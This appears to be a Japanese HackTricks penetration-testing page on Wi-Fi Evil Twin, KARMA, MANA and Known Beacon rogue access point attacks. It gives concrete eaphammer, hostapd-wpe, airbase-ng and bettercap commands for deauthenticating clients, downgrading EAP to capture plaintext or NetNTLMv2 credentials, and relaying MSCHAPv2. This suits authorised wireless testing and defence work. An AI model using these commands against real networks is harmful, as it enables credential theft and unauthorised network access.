Evil Twin
Evil Twin攻撃は、WiFiクライアントがネットワークを認識する方法を悪用します。主にネットワーク名(ESSID)に依存しており、base station (access point)がクライアントに対して認証する必要がありません。主なポイントは次のとおりです:
- 区別の難しさ: デバイスは同じESSIDと暗号化タイプを共有する正当なaccess pointとrogueなaccess pointを区別するのが難しいです。実際のネットワークでは、カバレッジをシームレスに拡張するために同じESSIDを持つ複数のaccess pointが使用されることが多いです。
- クライアントのローミングと接続操作: 802.11プロトコルは、同じESS内でデバイスがaccess point間をローミングすることを許可します。攻撃者は、デバイスを現在のbase stationから切断させてrogueなaccess pointに接続させることでこれを悪用できます。これはより強い信号を提供するか、deauthentication packetsやjammingのような方法で正当なaccess pointへの接続を妨害することで実現できます。
- 実行上の課題: 複数の適切に配置されたaccess pointがある環境でEvil Twin攻撃を成功させるのは困難です。単一の正当なaccess pointをdeauthenticatingすると、多くの場合デバイスは別の正当なaccess pointに接続してしまいます。攻撃者が近隣のすべてのaccess pointをdeauthenticateするか、またはrogueなaccess pointを戦略的に配置できない限り成功は難しいです。
以下の手順で、非常に基本的なOpen Evil Twin(Internetへのトラフィックをルーティングする機能はなし)を作成できます:
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
また、eaphammer を使用して Evil Twin を作成することもできます(eaphammer で evil twins を作成するには、インターフェースが monitor モードであってはなりません):
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
または Airgeddon を使用する: Options: 5,6,7,8,9 (inside Evil Twin attack menu).
.png)
ご注意: デフォルトでは、PNL に保存された ESSID が WPA で保護されている場合、デバイスは自動的に Open evil Twin に接続しません。実AP に DoS を仕掛けてユーザが手動であなたの Open evil Twin に接続することを期待するか、あるいは実AP に DoS を仕掛けて WPA Evil Twin を使い handshake をキャプチャすることもできます(この方法では PSK を知らないため victim をあなたのネットワークに接続させることはできませんが、handshake をキャプチャして crack を試みることができます)。
一部の OS と AV は、Open ネットワークに接続するのは危険だとユーザに警告することがあります…
WPA/WPA2 Evil Twin
あなたは Evil Twin using WPA/2 を作成できます。デバイスがその SSID に WPA/2 で接続するよう設定されている場合、接続を試みます。とはいえ、4-way-handshake を完了するには、クライアントが使用する パスワード を 知っている 必要があります。もし 知らなければ、接続は完了しません。
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
Enterprise Evil Twin
この攻撃を理解するには、まず簡潔な WPA Enterprise explanation を読むことをお勧めします。
hostapd-wpe の使用
hostapd-wpe は動作するために 設定ファイル が必要です。これらの設定の生成を 自動化 するには https://github.com/WJDigby/apd_launchpad を使用できます(/etc/hostapd-wpe/ 内の python ファイルをダウンロードしてください)
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
設定ファイルでは、ssid、channel、user files、cret/key、dh parameters、wpa version、auth など多くの項目を選択できます…
hostapd-wpe を EAP-TLS と併用して任意の証明書でのログインを許可する。
EAPHammer を使用する
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
デフォルトでは、EAPHammerはこれらの認証方法を使用します(GTCが最初にplaintext passwordsを取得しようとし、その後より堅牢な認証方法を使用する点に注意):
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
これは接続時間が長くなるのを避けるためのデフォルトの方法です。ただし、認証方法を最も弱いものから最も強いものの順でサーバーに指定することもできます:
--negotiate weakest
または、次を使用できます:
--negotiate gtc-downgradeを使って高効率な GTC downgrade 実装を利用する(平文のパスワード)--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAPを使って提供されるメソッドを手動で指定する(組織が提供するのと同じ認証メソッドを同じ順序で提供すると、攻撃は検出されにくくなる)。- Find more info in the wiki
When clients skip RADIUS certificate validation (PEAP/TTLS)
- デバイスが「do not validate certificate」に設定されている場合、クローン AP + rogue RADIUS (
eaphammer --cert-wizard --creds --auth wpa-eap) により NetNTLMv2 (PEAP-MSCHAPv2) や cleartext creds (PEAP-GTC) が収集されます。bettercapの deauth (wifi.deauth <BSSID>) は、プローブ中に隠し SSID を露出させ、再接続を強制します(PMF/802.11w が偽造 deauth をブロックする場合を除く)。 - Cracked NetNTLMv2 は再利用可能な Wi‑Fi/AD creds を与えます;GTC は即座に平文をもたらします。
Relaying PEAP-MSCHAPv2 instead of cracking (wpa_sycophant + hostapd-mana)
- 解読不可能なランダムパスワードを持つ machine accounts に対しては、MSCHAPv2 relay を悪用します:
hostapd-manaを Evil Twin として実行し、MSCHAPv2 のやり取りをwpa_sycophantに転送します。wpa_sycophantは同時に正規の AP に接続します。リレーが成功すれば、パスワードを復元することなく認証済みの Wi‑Fi アクセスが得られます。 - ターゲットのセキュリティレベルをサポートするビルドを使用してください(WPA3/PMF は最近の hostapd/wpa_supplicant が必要です);PMF は deauth による強制を防ぐため、クライアントが自発的に接続するのを待ちます。
Using Airgeddon
Airgeddon は事前に生成した証明書を使用して WPA/WPA2-Enterprise ネットワークに EAP 認証を提供できます。偽ネットワークは接続プロトコルを EAP-MD5 にダウングレードするため、ユーザとパスワードの MD5 を捕捉できます。後で攻撃者はパスワードのクラッキングを試みることができます。Airggedon は 継続的な Evil Twin 攻撃(ノイジー) を行うか、誰かが接続するまで Evil Attack を作るだけ(スムーズ) のどちらかを選べます。
.png)
Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks
This method was tested in an PEAP connection but as I’m decrypting an arbitrary TLS tunnel this should also works with EAP-TTLS
hostapd-wpe の設定内で、dh_file を含む行をコメントアウトします(dh_file=/etc/hostapd-wpe/certs/dh から #dh_file=/etc/hostapd-wpe/certs/dh へ)。
これにより hostapd-wpe は DH ではなく RSA を使って鍵交換を行うようになり、サーバの秘密鍵を知っていれば後でトラフィックを 復号 できるようになります。
その改変した設定で通常通り Evil Twin を hostapd-wpe で起動します。同時に、Evil Twin 攻撃を行っているインターフェースで wireshark を起動してください。
今すぐでも後でも(いくつかの認証試行を既にキャプチャしている場合)以下にサーバの RSA 秘密鍵を wireshark に追加できます:Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...
新しいエントリを追加し、フォームに次の値を入力します:IP address = any – Port = 0 – Protocol = data – Key File(自分の鍵ファイルを選択。問題を避けるため、パスワード保護されていない鍵ファイルを選択してください)。
.png)
そして新しい “Decrypted TLS” タブ を確認します:
.png)
KARMA, MANA, Loud MANA and Known beacons attack
ESSID and MAC black/whitelists
Different types of Media Access Control Filter Lists (MFACLs) and their corresponding modes and effects on the behavior of a rogue Access Point (AP):
- MAC-based Whitelist:
- rogue AP はホワイトリストに指定されたデバイスからの probe requests にのみ応答し、リストにない他のすべてのデバイスには見えない状態になります。
- MAC-based Blacklist:
- rogue AP はブラックリストに載っているデバイスからの probe requests を無視し、それら特定のデバイスに対しては事実上見えない存在になります。
- SSID-based Whitelist:
- rogue AP はリストにある特定の ESSIDs に対する probe requests のみに応答し、Preferred Network Lists (PNLs) にこれらの ESSID が含まれていないデバイスには見えないようになります。
- SSID-based Blacklist:
- rogue AP はブラックリストにある特定の ESSIDs に対する probe requests には応答せず、それらの特定ネットワークを探しているデバイスには見えないようになります。
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
KARMA
この手法は、ネットワークに接続しようとするデバイスからのすべての probe requests に応答する悪意のある access point (AP) を attacker が作成できるようにする。デバイスが探しているネットワークを模倣することで、この技術はデバイスをattacker の AP に接続させる。デバイスがこの rogue AP に接続要求を送信すると接続が成立し、結果としてデバイスは誤って attacker のネットワークに接続してしまう。
MANA
その後、デバイスが信頼性の低いネットワークリスポンスを無視し始めたため、元の karma attack の効果は低下した。しかし Ian de Villiers と Dominic White によって導入された新しい手法、MANA attack がある。この手法では rogue AP がデバイスの broadcast probe requests に応答し、デバイスが以前に保存したネットワーク名(SSIDs)で返答することで、デバイスから Preferred Network Lists (PNL) をキャプチャする。この高度な攻撃は、デバイスが既知のネットワークを記憶し優先する仕組みを悪用することで、元の karma attack に対する防御を回避する。
MANA attack はデバイスからの directed および broadcast probe requests の両方を監視することで動作する。directed requests に対しては、デバイスの MAC address と要求されたネットワーク名を記録し、この情報をリストに追加する。broadcast request を受信すると、AP はデバイスのリスト上のいずれかのネットワークに一致する情報で応答し、デバイスを rogue AP に接続させる。
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
Loud MANA
A Loud MANA attack は、デバイスが directed probing を使用しない場合や、攻撃者が Preferred Network Lists (PNL) を知らない場合に用いる高度な戦術です。これは、同じエリアにいるデバイスは PNL に含まれる一部のネットワーク名を共有している可能性が高いという原理に基づいています。選択的に応答する代わりに、この攻撃は観察された全デバイスの結合された PNL に見つかったすべてのネットワーク名(ESSID)に対して probe responses をブロードキャストします。この広範な手法により、デバイスが見覚えのあるネットワークを認識して rogue Access Point (AP) に接続を試みる可能性が高まります。
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
Known Beacon attack
When the Loud MANA attack may not suffice, the Known Beacon attack presents another approach. この手法は、任意のネットワーク名に応答するAPをシミュレートし、wordlistから派生した潜在的なESSIDsのリストを順に切り替えることで接続プロセスをbrute-forcesします。これにより多数のネットワークが存在するかのように見せかけ、被害者のPNL内のESSIDと一致することを期待して、作成したAPへの接続試行を引き起こします。より積極的にデバイスを誘き寄せるには、--loudオプションと組み合わせることで攻撃を強化できます。
Eaphammerは、この攻撃をリスト内のすべてのESSIDsが扱われるMANA attackとして実装しました(--loudと組み合わせてLoud MANA + Known beacons attackを作ることもできます):
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
Known Beacon Burst attack は rapid-fire broadcasting of beacon frames for each ESSID listed in a file を伴う攻撃です。これにより偽ネットワークが密集した環境が作られ、デバイスが rogue AP に接続する可能性が大幅に高まります。特に MANA attack と組み合わせた場合に顕著です。この手法は速度と大量送信を利用して、デバイスのネットワーク選択機構を圧倒します。
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
Wi-Fi Direct
Wi-Fi Direct は、従来の無線アクセスポイントを必要とせずに Wi‑Fi を介してデバイス同士が直接接続できるようにするプロトコルです。この機能はプリンターやテレビなどのさまざまな IoT デバイスに組み込まれており、デバイス間の直接通信を可能にします。Wi‑Fi Direct の注目すべき特徴は、接続を管理するために一方のデバイスがアクセスポイントの役割(group owner と呼ばれる)を担う点です。
セキュリティは Wi-Fi Protected Setup (WPS) によって確立され、次のような安全なペアリング方法をサポートします:
- Push-Button Configuration (PBC)
- PIN entry
- Near-Field Communication (NFC)
これらの方法は、特に PIN entry が従来の Wi‑Fi ネットワークにおける WPS と同様の脆弱性にさらされるため、同様の攻撃ベクターの対象となります。
EvilDirect Hijacking
EvilDirect Hijacking は Wi‑Fi Direct に特有の攻撃です。これは Evil Twin attack の概念を踏襲したもので、Wi‑Fi Direct 接続を標的にします。このシナリオでは、攻撃者が正規の group owner を偽装し、デバイスを悪意ある実体に接続させることを目的とします。この手法は airbase-ng のようなツールを使い、偽装するデバイスの channel、ESSID、MAC address を指定して実行できます。
References
- https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee
- https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d
- https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf
- http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d
- https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- The vulnerability that killed FreeWifi_Secure
- RFC 4186 – EAP-SIM Authentication
- 3GPP TS 33.402 – 3GPP system architecture evolution (SAE); Security aspects of non-3GPP accesses
- Wireless-(in)Fidelity: Pentesting Wi-Fi in 2025 (Synacktiv)
- PEAP relay attacks with wpa_sycophant (SensePost)
TODO: 次を参照してください: https://github.com/wifiphisher/wifiphisher (Facebookでのログインと captive portals における WPA の模倣)
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


